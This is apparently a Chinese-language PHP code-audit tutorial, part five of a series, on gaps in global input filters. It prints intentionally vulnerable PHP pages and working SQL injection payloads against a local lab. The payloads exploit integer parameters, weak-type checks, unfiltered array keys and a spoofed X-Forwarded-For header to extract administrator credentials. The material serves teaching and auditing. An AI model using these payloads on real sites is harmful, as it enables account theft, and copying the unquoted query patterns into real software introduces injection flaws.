0x01前言
作者:HackBraid,乌云核心白帽子。 白帽子分享之代码审计的艺术系列(二、三、四季)是对绕过全局防护的场景进行的总结。没看前几季的同学,可以关注下。 代码审计的艺术系列—第一篇 代码审计的艺术系列—第二篇 代码审计的艺术系列—第三篇 代码审计的艺术系列—第四篇 接下来两篇介绍全局防护存在的盲点,首先是上篇:盲点如下:
①注入点类似id=1这种整型的参数就会完全无视GPC的过滤;
②注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;
③有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER等变量。
附常见的SERVER变量(具体含义自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE
0x02准备:
知识储备:php基础、MySql入门工具:notepad++
服务器环境:wamp
测试代码和sql的链接: http://pan.baidu.com/s/1cqkg7G 密码: nesy
0x03全局防护盲点总结上篇的脑图:
![全局防护盲点脑图](http://139.129.97.131/wp-content/uploads/2016/06/2016061718362959.jpg)
0x04数字型注入:
完全无视GPC的数字型的注入,其实仔细总结下发现还是很多可以学习的地方。1.传入的参数未做intval转换、构造的sql语句没有单引号保护
缺陷代码:<?php require_once('common.php'); $conn = mysql_connect('localhost', 'root', 'braid') or die('bad!'); mysql_query("SET NAMES binary'"); mysql_select_db('test', $conn) OR emMsg("数据库连接失败"); $id = isset($_GET['id']) ? $_GET['id']: 1; $sql = "SELECT * FROM news WHERE id={$id}"; $result = mysql_query($sql, $conn) or die(mysql_error()); ?> |
这种数字型的注入是全局防护的盲点,构造注入语句完全不需要单引号的支持,所以也就不存在转义了。例如我们直接构造获取管理员账户密码的POC:
http://localhost/sqltest/mangdian/int1.php?id=-1 union select 1,2,concat(name,0x23,pass) from admin%23
2.php弱类型语言,判断逻辑错误引发注入
缺陷代码:
<?php require_once('common.php'); $conn = mysql_connect('localhost', 'root', 'braid') or die('bad!'); mysql_query("SET NAMES binary'"); mysql_select_db('test', $conn) OR emMsg("数据库连接失败"); $id = isset($_GET['id']) ? $_GET['id']: 1; //增加逻辑判断 if($id<1){ $sql = "SELECT * FROM news WHERE id={$id}"; $result = mysql_query($sql, $conn) or die(mysql_error()); } ?> |
当然前提是数字型的注入,这里特殊之处在于增加了个if($id<1)的逻辑判断,但PHP弱类型语言在逻辑判断上0<1和0 union select 1<1是等价的,都返回True。所以构造获取管理员账户密码的POC:http://localhost/sqltest/mangdian/int2.php?id=0 union select 1,2,concat(name,0x23,pass) from admin%23
3.过程中不全是数字型,忘记加单引号
这种情况是在第一条sql语句里是有单引号保护的,紧接着第二条sql语句没有单引号保护引发的注入,
缺陷代码:
<?php require_once('common.php'); $conn = mysql_connect('localhost', 'root', 'braid') or die('bad!'); mysql_query("SET NAMES binary'"); mysql_select_db('test', $conn) OR emMsg("数据库连接失败"); $id = isset($_GET['id']) ? $_GET['id']: 1; //第一条sql语句id参数有单引号保护 $sql = "SELECT * FROM news WHERE id='".$id."'"; $result = mysql_query($sql, $conn) or die(mysql_error()); //第二条sql语句id参数没有单引号保护 $sql2 = "SELECT * FROM news WHERE id=".$id; $result2 = mysql_query($sql2, $conn) or die(mysql_error()); ?> |
第一条sql语句有单引号保护,第二条sql语句没有了单引号保护从而可以进一步注入。构造获取管理员账户密码的POC:http://localhost/sqltest/mangdian/int3.php?id=0 union select 1,2,concat(name,0x23,pass) from admin%23
<?php if (!empty($_GET)) { $_GET=Add_S($_GET); } if (!empty($_POST)) { $_POST=Add_S($_POST); } if (!empty($_COOKIE)) { $_COOKIE=Add_S($_COOKIE); }function Add_S($array){ foreach($array as $key=>$value){ if(!is_array($value)){ $value=str_replace("&#x","& # x",$value); //过滤一些不安全字符 $value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数 !get_magic_quotes_gpc() && $value=addslashes($value); $array[$key]=$value; }else{ $array[$key]=Add_S($array[$key]); } } return $array; } |
<?php require_once('commonnew.php'); $conn = mysql_connect('localhost', 'root', 'braid') or die('bad!'); mysql_query("SET NAMES binary'"); mysql_select_db('test', $conn) OR emMsg("数据库连接失败"); $title = isset($_POST['title']) ? $_POST['title']: 1; foreach($title as $key=>$value){ $sql = "SELECT * FROM news WHERE id='".$key."' and title='".$value."'"; $result = mysql_query($sql, $conn) or die(mysql_error()); } ?> |
虽然查询语句中WHERE id=’”.$key.”‘有单引号保护,但是全局防护代码就没过滤key就存在注入了,首先POST请求下:http://localhost/sqltest/mangdian/array.php title[1]=news title发现可以获取正常内容:
查询语句为:SELECT * FROM news WHERE id=’1’ and title=’news title’
构造获取管理员账户密码的POST请求:http://localhost/sqltest/mangdian/array title[-1’ union select 1,2,concat(name,0x23,pass) from admin#]=news title
0x05 SERVER变量未过滤
上面的全局防护只过滤了GET、POST和COOKIE而忽略了SERVER变量,SERVER变量的注入常常发生在获取用户ip并入库的函数上,类似如下代码://获取访问者IP(PHP代码/函数) function get_ip(){ if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){ $ip=getenv("HTTP_CLIENT_IP"); }else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){ $ip=getenv("HTTP_X_FORWARDED_FOR"); }else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){ $ip=getenv("REMOTE_ADDR"); }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){ $ip=$_SERVER['REMOTE_ADDR']; }else{ $ip="unknown" ; } return $ip; } |
<?php require_once('common.php'); $conn = mysql_connect('localhost', 'root', 'braid') or die('bad!'); mysql_query("SET NAMES binary'"); mysql_select_db('test', $conn) OR emMsg("数据库连接失败"); $id = get_ip(); $sql = "SELECT * FROM news WHERE id='".$id."'";; $result = mysql_query($sql, $conn) or die(mysql_error());?> |
这里可以在请求中添加获取管理员账户密码的POC为 X-Forwarded-For:-1’ union select 1,2,concat(name,0x23,pass) from admin#,由于SERVER变量没过滤所以这里单引号保护也就没用了。成功获取管理员账户密码如下:
![代码审计5-6](http://139.129.97.131/wp-content/uploads/2016/06/2016062012084643.jpg)
原创文章,转载请注明: 转载自安兔|anntoo.com 互联网安全新媒体平台
本文链接地址: 代码审计的艺术系列—第五篇